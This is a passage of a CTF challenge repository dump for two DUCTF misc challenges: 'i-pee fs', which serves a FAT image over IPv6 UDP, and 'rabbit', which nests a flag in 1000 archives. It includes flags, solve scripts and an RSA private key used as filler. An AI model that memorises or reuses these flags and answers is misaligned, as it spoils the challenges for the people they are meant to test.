10\nanswer_send(str(int(extract_q(),2)), 9)\n\n# Question 10 - Base10 -> Binary\nanswer_send(bin(int(extract_q())), 10)\n\n# Question 11 - CTF Q\nprint(r.recvuntil(\"?\"))\nanswer11 = \"DUCTF\"\nprint(\"[+] Answer 11: \" + answer11)\nr.sendline(answer11)\nprint(r.recvall().decode('utf-8'))"
  },
  {
    "path": "misc/i_pee_fs/README.md",
    "content": "# i-pee fs\n\n**Category**: misc\n\n**Difficulty**: Easy - Medium\n\n**Author**: dot\n\n**Flavor Text**: _I'm currently working on a new project called i-pee fs, which can be hosted on your average run of the mill potato. Don't mash it too hard..._\n\n## Description\nThis challenge involves burning a lot of IPv6 addresses.\n\n## Writeup\n> will add a solve script.\n\nI haven't tried solving this one yet, but in theory it's possible.\n\nEach IPv6 address which is part of the prefix hosts a different number. When you hit the endpoint, it will send back a UDP packet with\na 32-bit integer in ASCII. By iterating through IPv6 addresses, you should be able to see that the hidden message is in fact a FAT\nfilesystem with some garbage files taking most of the space.\n\nThere are also some rate limits applied too make the challenge more difficult, players wil only be able to request a maximum of 1024\nnumbers (4096 bytes) per minute per /56. The rate limiter will return -1 for the rest of the minute when it has been reached.\n\nTherefore, a player should use their knowledge of the filesystem in order to traverse it efficiently and find the file with the flag.\n\nI guess some competitors could get their hands on a /48 and use that to brute force as an unintended solution, but also the server\nmight break if that happens...\n\n\n## Setup\nThis will be hosted on a separate box as it requires some special IPv6 configuration.\n\n1. Compile the go.\n2. Run generate.sh to generate the filesystem image\n3. Add the IP to the loopback table `sudo ip -6 route add local <prefix>::/96 dev lo`\n4. Start the challenge.\n"
  },
  {
    "path": "misc/i_pee_fs/challenge.yml",
    "content": "version: \"0.1\"\nid: i-pee-fs\nname: i-pee fs\ncategory: misc\ndescription: >\n  I'm currently working on a new project called i-pee fs, which can be hosted on your average run of the mill potato. Don't mash it too hard...\n\n\n  Author: dot\n\nconnection_info: nc ${host} ${port}\n\ntags:\n  - medium\n\nflags:\n  - DUCTF{FAT32_0v3r_IPv16_q01KQYYS6a}\n"
  },
  {
    "path": "misc/i_pee_fs/src/.gitignore",
    "content": "main\ndata\n"
  },
  {
    "path": "misc/i_pee_fs/src/dir/01 lol",
    "content": "Day 1: I don't know what I'm doing\nDay 2: This might become a little annoying.\nDay 3: Test.\nDay 4: Lol\n"
  },
  {
    "path": "misc/i_pee_fs/src/dir/03 owo whats this",
    "content": "Imagine reading a post, but over the course of it the quality seems to deteriorate and it gets wose an wose, where the swenetence stwucture and gwammer rewerts to a pwoint of uttew non swence, an u jus dont wanna wead it anymwore (o´ω｀o) awd twa wol owdewl iws jus awfwul (´･ω･`);. bwt tw powost iwswnwt obwer nyet, it gwos own an own an own an own. uwu wanyaa stwop weadwing bwut uwu cwant stop wewding, uwu stwartd thwis awnd ur gwoing two fwinibsh it nowo mwattew wat! uwu hab mwoxie kwiddowo, bwut uwu wibl gwib ub sowon. i cwan wite wike dis fwor owors, swo dwont cwalengbe mii.."
  },
  {
    "path": "misc/i_pee_fs/src/dir/04 story",
    "content": "\"Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.\""
  },
  {
    "path": "misc/i_pee_fs/src/dir/05 pkfire",
    "content": "-----BEGIN RSA PRIVATE KEY-----\n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\n-----END RSA PRIVATE KEY-----\n"
  },
  {
    "path": "misc/i_pee_fs/src/dir/07 flag.txt",
    "content": "You've made it! DUCTF{FAT32_0v3r_IPv16_q01KQYYS6a}"
  },
  {
    "path": "misc/i_pee_fs/src/generate.sh",
    "content": "#!/bin/sh\n\n# allocate a 64MB file\n\ndd if=/dev/urandom of=data bs=4M count=16\nmkfs.fat -F 16 data\nmkdir -p test\nsudo mount data test\nsudo dd if=/dev/urandom 'of=test/00 literal garbage ignore' bs=4M count=6\nsudo cp -r dir/* test\nsudo umount data\nrmdir test\n"
  },
  {
    "path": "misc/i_pee_fs/src/load-test.go",
    "content": "package main\n\nimport (\n\t\"encoding/binary\"\n\t\"fmt\"\n\t\"net\"\n)\n\nfunc readLoop(conn *net.UDPConn) {\n\tfor {\n\n\t\tbuf := make([]byte, 32)\n\t\t_, rAddr, err := conn.ReadFromUDP(buf)\n\t\tif err != nil {\n\t\t\tfmt.Println(\"error reading packet\")\n\t\t}\n\t\tfmt.Println(string(buf), rAddr)\n\t}\n}\n\nfunc writeLoop(conn *net.UDPConn, ip net.IP) {\n\tvar counter uint32 = 0\n\tmutIp := make([]byte, 16)\n\tcopy(mutIp, ip)\n\n\tcounterBytes := make([]byte, 16)\n\tbinary.BigEndian.PutUint32(counterBytes, counter)\n\n\tfor {\n\t\tcounterBytes := make([]byte, 4)\n\t\tbinary.BigEndian.PutUint32(counterBytes, counter)\n\t\tcopy(mutIp[12:], counterBytes)\n\t\taddr := net.UDPAddr{\n\t\t\tIP:   mutIp,\n\t\t\tPort: 1337,\n\t\t}\n\n\t\t_, err := conn.WriteTo([]byte(\"\"), &addr)\n\t\tif err != nil {\n\t\t\tfmt.Println(\"error writing packet\")\n\t\t\tpanic(err)\n\t\t}\n\t\tcounter += 1\n\t}\n}\n\nfunc main() {\n\tip := net.ParseIP(\"2600:1900:4120:5fb8::\")\n\tconn, err := net.ListenUDP(\"udp6\", &net.UDPAddr{})\n\tif err != nil {\n\t\tfmt.Println(\"failed to create udp connection\", err)\n\t}\n\n\tgo writeLoop(conn, ip)\n\tgo readLoop(conn)\n\tselect {}\n}\n"
  },
  {
    "path": "misc/i_pee_fs/src/main-ipv4.go",
    "content": "// probably gonna get banned for players ddosing us before code bottlenecks\n// fully redundant concurrency let's gooooooo\npackage main\n\nimport (\n\t\"encoding/binary\"\n\t\"fmt\"\n\t\"hash/fnv\"\n\t\"io/ioutil\"\n\t\"log\"\n\t\"net\"\n\t\"os\"\n\t\"runtime\"\n\t\"strconv\"\n\t\"strings\"\n\t\"time\"\n)\n\nconst FILENAME = \"data\"\nconst PER_MINUTE = 512\n\nvar ALL = 0\n\ntype logWriter struct {\n}\n\ntype connectionInfo struct {\n\toffset int\n\tremote net.UDPAddr\n}\n\nfunc checkLimit(limiter map[uint32]uint32, addr net.IP) bool {\n\tip := binary.BigEndian.Uint32(addr[len(addr)-4:])\n\tnow := time.Now().Unix()\n\tminutes := uint32(now/60) & 65535\n\tval := limiter[ip]\n\tcvalue := val & 65535\n\tcminutes := val >> 16\n\tif minutes != cminutes {\n\t\tlimiter[ip] = (minutes << 16) + 1\n\t\treturn true\n\t} else if cvalue >= PER_MINUTE {\n\t\tif cvalue == PER_MINUTE {\n\t\t\tlog.Printf(\"rate limit reached for %s\", addr)\n\t\t}\n\t\tif cvalue < 65535 {\n\t\t\tlimiter[ip] = (minutes << 16) + ((cvalue + 1) & 65535)\n\t\t}\n\t\treturn false\n\t}\n\n\tlimiter[ip] = (minutes << 16) + ((cvalue + 1) & 65535)\n\treturn true\n}\n\nfunc setupListeners(port string, data []uint32) {\n\t// Setup UDP listener\n\tpConn, err := net.ListenPacket(\"udp\", port)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tsConn := pConn.(*net.UDPConn)\n\tdefer sConn.Close()\n\n\t// Setup channels\n\tnumCPU := runtime.NumCPU()\n\tqueues := make([]chan connectionInfo, numCPU)\n\tfor i := 0; i < numCPU; i++ {\n\t\tqueues[i] = make(chan connectionInfo)\n\t\tgo processor(i, sConn, queues[i], data)\n\t}\n\n\t// Setup routers\n\tfor i := 0; i < numCPU; i++ {\n\t\tgo router(i, sConn, queues, len(queues))\n\t}\n\n\t// Wait forever\n\tselect {}\n}\n\nfunc processor(procIndex int, conn *net.UDPConn, queue chan connectionInfo, data []uint32) {\n\tlog.Println(\"starting processor routine\", procIndex)\n\tcounter := 0\n\tlimiter := make(map[uint32]uint32)\n\tdataLength := len(data)\n\n\tfor info := range queue {\n\t\t// Construct OOB\n\t\tif checkLimit(limiter, info.remote.IP) {\n\t\t\tcounter += 1\n\t\t\tconn.WriteTo([]byte(fmt.Sprintf(\"%d\\n\", uint64(info.offset<<32)+uint64(data[info.offset%dataLength]))), &info.remote)\n\t\t} else {\n\t\t\tconn.WriteTo([]byte(\"-1\"), &info.remote)\n\t\t}\n\t}\n}\n\nfunc router(procIndex int, conn *net.UDPConn, queues []chan connectionInfo, qCount int) {\n\tlog.Println(\"starting router routine\", procIndex)\n\tfor {\n\t\tdata := make([]byte, 12)\n\t\t_, addr, err := conn.ReadFrom(data)\n\t\tif err != nil {\n\t\t\t// log error\n\t\t\tcontinue\n\t\t}\n\t\tuAddr := addr.(*net.UDPAddr)\n\n\t\toff, err := strconv.Atoi(strings.Trim(string(data), \"\\n\\t\\x00 \"))\n\t\tif err != nil || off < 0 {\n\t\t\tconn.WriteTo([]byte(\"-1\"), uAddr)\n\t\t\tcontinue\n\t\t}\n\n\t\th := fnv.New32a()\n\t\th.Write(uAddr.IP)\n\t\tqueues[h.Sum32()%uint32(qCount)] <- connectionInfo{\n\t\t\toffset: off,\n\t\t\tremote: *uAddr,\n\t\t}\n\n\t}\n}\n\nfunc main() {\n\targuments := os.Args\n\tif len(arguments) == 1 {\n\t\tlog.Println(\"Please provide a port number!\")\n\t\treturn\n\t}\n\n\tdata, err := ioutil.ReadFile(FILENAME)\n\tif err != nil {\n\t\tpanic(\"cannot read data file\")\n\t}\n\n\ttotal := len(data) / 4\n\tnumbers := make([]uint32, total)\n\tfor i := 0; i < total; i++ {\n\t\tnumbers[i] = binary.LittleEndian.Uint32(data[i*4 : (i+1)*4])\n\t}\n\n\tsetupListeners(arguments[1], numbers)\n}\n"
  },
  {
    "path": "misc/i_pee_fs/src/main.go",
    "content": "// probably gonna get banned for players ddosing us before code bottlenecks\n// fully redundant concurrency let's gooooooo\npackage main\n\nimport (\n\t\"bytes\"\n\t\"encoding/binary\"\n\t\"fmt\"\n\t\"hash/fnv\"\n\t\"io/ioutil\"\n\t\"net\"\n\t\"os\"\n\t\"runtime\"\n\t\"syscall\"\n\t\"time\"\n)\n\nconst FILENAME = \"data\"\nconst MASK = ^(uint32(0))\nconst PER_MINUTE = 512\nconst LOG_INTERVAL = 32 * 1024\nconst IPV6_FREEBIND = 78\n\nvar ALL = 0\n\ntype connectionInfo struct {\n\tremoteAddr net.UDPAddr\n\tlocalAddr  syscall.Inet6Pktinfo\n\tremote     uint32\n\tlocal      uint32\n}\n\nfunc parseLocalAddress(ip net.IP) uint32 {\n\tlength := len(ip)\n\treturn binary.BigEndian.Uint32(ip[length-4:])\n}\n\n// rate limit using slice from 24 to 56 bits\nfunc parseRemoteAddress(ip net.IP) uint32 {\n\tif len(ip) == 4 {\n\t\treturn binary.BigEndian.Uint32(ip)\n\t}\n\treturn binary.BigEndian.Uint32(ip[3:7])\n}\n\nfunc checkLimit(limiter map[uint32]uint32, addr uint32) bool {\n\tnow := time.Now().Unix()\n\tminutes := uint32(now/60) & 65535\n\tval := limiter[addr]\n\tcvalue := val & 65535\n\tcminutes := val >> 16\n\tif minutes != cminutes {\n\t\tlimiter[addr] = (minutes << 16) + 1\n\t\treturn true\n\t} else if cvalue >= PER_MINUTE {\n\t\treturn false\n\t}\n\n\tlimiter[addr] = (minutes << 16) + ((cvalue + 1) & 65535)\n\treturn true\n}\n\nfunc setupListeners(port string, data []uint32) {\n\t// Setup UDP listener\n\tpConn, err := net.ListenPacket(\"udp6\", port)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tsConn := pConn.(*net.UDPConn)\n\n\tfile, err := sConn.File()\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\terr = syscall.SetsockoptInt(int(file.Fd()), syscall.IPPROTO_IPV6, syscall.IPV6_RECVPKTINFO, 1)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\terr = syscall.SetsockoptInt(int(file.Fd()), syscall.SOL_IPV6, IPV6_FREEBIND, 1)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tdefer sConn.Close()\n\n\t// Setup channels\n\tnumCPU := runtime.NumCPU()\n\tqueues := make([]chan connectionInfo, numCPU)\n\tfor i := 0; i < numCPU; i++ {\n\t\tqueues[i] = make(chan connectionInfo)\n\t\tgo processor(i, sConn, queues[i], data)\n\t}\n\n\t// Setup routers\n\tfor i := 0; i < numCPU; i++ {\n\t\tgo router(i, sConn, queues, len(queues))\n\t}\n\n\t// Wait forever\n\tselect {}\n}\n\nfunc generateIPv6OOB(localAddr syscall.Inet6Pktinfo) []byte {\n\tbuf := bytes.Buffer{}\n\n\tmsg := syscall.Cmsghdr{}\n\tmsg.Level = syscall.IPPROTO_IPV6\n\tmsg.Type = syscall.IPV6_PKTINFO\n\n\t// clearly a hack, idk why it is 16\n\tmsg.Len = uint64(binary.Size(localAddr) + 16)\n\n\tbinary.Write(&buf, binary.LittleEndian, msg)\n\tbinary.Write(&buf, binary.LittleEndian, localAddr)\n\n\treturn buf.Bytes()\n}\n\nfunc processor(procIndex int, conn *net.UDPConn, queue chan connectionInfo, data []uint32) {\n\tfmt.Println(\"starting processor routine\", procIndex)\n\tcounter := 0\n\tlimiter := make(map[uint32]uint32)\n\tdataLength := len(data)\n\n\tfor info := range queue {\n\t\t// Construct OOB\n\t\toob := generateIPv6OOB(info.localAddr)\n\t\tif checkLimit(limiter, info.remote) {\n\t\t\tcounter += 1\n\t\t\tif counter%LOG_INTERVAL == 0 {\n\t\t\t\tfmt.Println(time.Now(), procIndex, counter)\n\t\t\t}\n\t\t\tconn.WriteMsgUDP([]byte(fmt.Sprintf(\"%d\\n\", data[info.local%uint32(dataLength)])), oob, &info.remoteAddr)\n\t\t} else {\n\t\t\tconn.WriteMsgUDP([]byte(\"-1\"), oob, &info.remoteAddr)\n\t\t}\n\t}\n}\n\nfunc router(procIndex int, conn *net.UDPConn, queues []chan connectionInfo, qCount int) {\n\tfmt.Println(\"starting router routine\", procIndex)\n\tfor {\n\t\tdata := make([]byte, 1024)\n\t\toob := make([]byte, 2048)\n\n\t\t_, _, _, rAddr, _ := conn.ReadMsgUDP(data, oob)\n\t\toob_buffer := bytes.NewBuffer(oob)\n\t\tmsg := syscall.Cmsghdr{}\n\t\tbinary.Read(oob_buffer, binary.LittleEndian, &msg)\n\t\tif msg.Level == syscall.IPPROTO_IPV6 && msg.Type == syscall.IPV6_PKTINFO {\n\t\t\tlocal := syscall.Inet6Pktinfo{}\n\t\t\tbinary.Read(oob_buffer, binary.LittleEndian, &local)\n\t\t\th := fnv.New32a()\n\t\t\th.Write(rAddr.IP[3:7])\n\t\t\tqueues[h.Sum32()%uint32(qCount)] <- connectionInfo{\n\t\t\t\tremoteAddr: *rAddr,\n\t\t\t\tlocalAddr:  local,\n\t\t\t\tremote:     parseRemoteAddress(rAddr.IP),\n\t\t\t\tlocal:      parseLocalAddress(local.Addr[:]),\n\t\t\t}\n\t\t}\n\n\t}\n}\n\nfunc main() {\n\targuments := os.Args\n\tif len(arguments) == 1 {\n\t\tfmt.Println(\"Please provide a port number!\")\n\t\treturn\n\t}\n\n\tdata, err := ioutil.ReadFile(FILENAME)\n\tif err != nil {\n\t\tpanic(\"cannot read data file\")\n\t}\n\n\ttotal := len(data) / 4\n\tnumbers := make([]uint32, total)\n\tfor i := 0; i < total; i++ {\n\t\tnumbers[i] = binary.LittleEndian.Uint32(data[i*4 : (i+1)*4])\n\t}\n\n\tsetupListeners(arguments[1], numbers)\n}\n"
  },
  {
    "path": "misc/i_pee_fs/src/solve.py",
    "content": "#!/usr/bin/python3\n\n# writing this was kinda hard, works for the testing env\n# reference: https://www.cse.scu.edu/~tschwarz/coen252_07Fall/Lectures/FAT.html\n\nfrom time import sleep\nfrom sys import stderr\nfrom os import environ\nfrom socket import socket, AF_INET6, SOCK_DGRAM\nfrom pwn import p32, u8, u16, u32\nfrom ipaddress import ip_address\nfrom typing import List\n\nMAX_BYTES_PER_MESSAGE = 64\nMAX_RETRIES = 10\nBYTES_PER_WORD = 4\nPORT = 1337\nBASE_IP = ip_address('2600:1900:4120:5fb8::')\nDEBUG = not not environ.get('DEBUG')\n\n\n\ndef get_word(base_ip: ip_address, sock: socket, data: List[int], offset: int) -> bytearray:\n    # use the first data entry to store the count of network calls\n    if offset + 1 < len(data) and data is not None:\n        return data[offset + 1]\n    ip = str(base_ip + offset)\n    sock.sendto(b'', (ip, PORT))\n\n    addr = ('', 0, 0, 0)\n    retries = 0\n    while addr[0] != ip and retries < MAX_RETRIES:\n        if DEBUG: print('getting word at offset', offset, file=stderr)\n        if retries > 0:\n            print(\"waiting to retry offset\", offset, file=stderr)\n            sleep(5)\n        \n        packet, addr = sock.recvfrom(MAX_BYTES_PER_MESSAGE)\n\n        if int(packet) == -1:\n            addr = ('', 0, 0, 0)\n        retries += 1\n    \n    if retries > MAX_RETRIES:\n        raise RuntimeError(\"could not get word at\", ip)\n    \n    if offset + 1 >= len(data):\n        data += [None for _ in range(offset - len(data) + 2)]\n    \n    data[offset + 1] = p32(int(packet))\n    data[0] += 1\n    return data[offset + 1]\n\ndef get_data(base_ip: ip_address, sock: socket, data: List[int], offset: int, length: int) -> bytearray:\n    if offset < 0:\n        raise ValueError(\"offset has to be greater than or equal to 0\")\n    if length <= 0:\n        raise ValueError(\"length has to be greater than 0\")\n\n    of_start = offset // BYTES_PER_WORD\n    of_end = (offset + length) // BYTES_PER_WORD\n    b_start = offset % BYTES_PER_WORD\n    b_end = (offset + length) % BYTES_PER_WORD\n    words = []\n    for i in range(of_start, of_end + 1):\n        words.append(get_word(base_ip, sock, data, i))\n\n    \n    if len(words) == 1:\n        return words[0][b_start:b_end]\n\n    return b''.join([words[0][b_start:]] + words[1:-1] + [words[-1][:b_end]])\n\ndef solve():\n    data = [0]\n    sock = socket(AF_INET6, SOCK_DGRAM)\n    sock.bind(('', 0))\n\n    mauf = get_data(BASE_IP, sock, data, 0x3, 8)\n    print('mauf', mauf)\n\n    bytes_per_sector = u16(get_data(BASE_IP, sock, data, 0xb, 2))\n    print('bytes_per_sector', bytes_per_sector)\n\n    sectors_per_cluster = u8(get_data(BASE_IP, sock, data, 0xd, 1))\n    print('sectors_per_cluster', sectors_per_cluster)\n\n    fats = u8(get_data(BASE_IP, sock, data, 0x10, 1))\n    print('fats', fats)\n\n    roots = u16(get_data(BASE_IP, sock, data, 0x11, 2))\n    print('roots', roots)\n\n    sectors_per_fat = u16(get_data(BASE_IP, sock, data, 0x16, 2))\n    print('sectors_per_fat', sectors_per_fat)\n    \n    n_hidden_sectors = u32(get_data(BASE_IP, sock, data, 0x1c, 4))\n    print('n_hidden_sectors', n_hidden_sectors)\n\n    n_sectors = u32(get_data(BASE_IP, sock, data, 0x20, 4))\n    print('n_sectors', n_sectors)\n\n    label = get_data(BASE_IP, sock, data, 0x2b, 11)\n    print('label', label)\n\n    #fat = get_sector(BASE_IP, sock, data, bytes_per_sector, sectors_per_cluster)\n    #print(fat)\n    #root = get_sector(BASE_IP, sock, data, bytes_per_sector, sectors_per_cluster + (sectors_per_fat * 2))\n    fat_start = sectors_per_cluster * bytes_per_sector\n    root_dir_start = (sectors_per_cluster + (sectors_per_fat * fats)) * bytes_per_sector\n\n    # list files and find FLAG.txt ()\n    for i in range(bytes_per_sector // 32):\n        ent = get_data(BASE_IP, sock, data, root_dir_start + (i*32), 32)\n        filename = ent[:8]\n        if filename == b'\\x00' * 8:\n            break\n        filename = filename.decode('ascii', 'ignore')\n        print('filename', filename)\n\n        ext = ent[8:8+3]\n        print('ext', ext)\n\n        first_cluster = u16(ent[0x1a:0x1a + 2])\n        print('first_cluster', first_cluster)\n\n        size = u32(ent[0x1c:0x1c + 4])\n        print('size', size)\n\n        print()\n\n        if 'FLAG' in filename:\n            break\n    \n    # look for the flag in the FAT\n    # probably unneeded since its a small file\n    # clus_fat = get_data(BASE_IP, sock, data, fat_start + 2*first_cluster, 2)\n    # look up the cluster straight away\n    cluster_start = root_dir_start + ((first_cluster + 2) * sectors_per_cluster * bytes_per_sector)\n    print(get_data(BASE_IP, sock, data, cluster_start, size))\n\n    print('network calls made:', data[0])\n\n\nif __name__ == '__main__':\n    solve()\n\n"
  },
  {
    "path": "misc/rabbit/README.md",
    "content": "# Rabbit\n\n**Author:** Crem + z3kxTa\n\n**Category:** misc\n\n**Difficulty:** Easy\n\n## Description:\n\nCan you find Babushka's missing vodka? It's buried pretty deep, like 1000 steps, deep."
  },
  {
    "path": "misc/rabbit/challenge.yml",
    "content": "version: \"0.1\"\nid: rabbit\nname: rabbit\ncategory: misc\ndescription: |\n  Can you find Babushka's missing vodka? It's buried pretty deep, like 1000 steps, deep.\n\n  Author: Crem + z3kxTa\n\ntags:\n  - easy\n\nfiles:\n  - ./publish/flag.txt\n\nflags:\n  - DUCTF{babushkas_v0dka_was_h3r3}\n"
  },
  {
    "path": "misc/rabbit/matroyshka.sh",
    "content": "#!/bin/bash\n\nfilename=$1\n\n# for loop \nfor i in {1..1000}; do\n    # array of archives\n    archives=('xz' 'bzip2' 'gzip' 'zip')\n    # echo a random archive\n    arch=${archives[RANDOM%4]}\n    echo $arch\n    if [ \"$arch\" = \"zip\" ]\n    then\n        # do format for zip\n        cd challenge/\n        zip ${filename}.zip $filename\n        # remove the old file \n        rm $filename\n        # echo archived file in challenge folder\n        name=`ls`\n        # rename archived file to original filename\n        mv $name $filename\n        cd ..\n    else\n        # archive with chosen archive\n        $arch challenge/$filename\n        # echo archived file in challenge folder\n        name=`ls challenge/`\n        # rename archived file to original filename\n        mv challenge/$name challenge/$filename\n    fi\ndone"
  },
  {
    "path": "misc/rabbit/solve.sh",
    "content": "#!/bin/bash\n\necho \"DUCTF - Rabbit Solve Script\"\necho \"Note: This script assumes you have the original 'flag.txt' file in a folder called 'challenge'!\"\necho \"\"\n\necho -n \"Go solve script! Solve!\"\n# Setting Variables for Stats\ngzip_num=0\nbzip2_num=0\nxz_num=0\nzip_num=0\nnum_loop=0\n\nwhile true; do\n    echo -e \"\\r\\033[1A\\033[0KLoop #: $num_loop\"\n    num_loop=$((num_loop+1))\n    filename=`ls challenge/`\n    checktype=`file challenge/$filename`\n    num_files=`ls challenge/ | wc -l`\n    # Must have only one file in the challenge folder\n    if [ \"$num_files\" != \"1\" ]; then\n        echo \"No file in the 'challenge' folder or too many files in 'challenge' folder ! Aborting script!\"\n        break\n    # If it is an ASCII text file, it is probably the flag and should print out the flag\n    elif echo $checktype | grep -q \"ASCII\"; then \n        cat challenge/$filename\n        echo \"The flag is: `base64 -d challenge/$filename`\"\n        echo \"\"\n        echo \"Stat Breakdown\"\n        echo \"-----------------\"\n        echo \"# of gzips decompressed: $gzip_num\"\n        echo \"# of bzip2s decompressed: $bzip2_num\"\n        echo \"# of xzs decompressed: $xz_num\"\n        echo \"# of zips decompressed: $zip_num\"\n        echo \"\"\n        break\n    # If bzip2, change extension to .bz2 and decompress\n    elif echo $checktype | grep -q \"bzip2\"; then\n        mv challenge/$filename challenge/${filename}.bz2\n        bzip2 -d -q challenge/${filename}.bz2\n        bzip2_num=$((bzip2_num+1))\n    # If xz, change extension to .xz and decompress\n    elif echo $checktype | grep -q \"XZ\"; then\n        mv challenge/$filename challenge/${filename}.xz\n        unxz -q challenge/${filename}.xz\n        xz_num=$((xz_num+1))\n    # If gzip, change extension to .gz and decompress\n    elif echo $checktype | grep -q \"gzip\"; then\n        mv challenge/$filename challenge/${filename}.gz\n        gunzip -q challenge/${filename}.gz\n        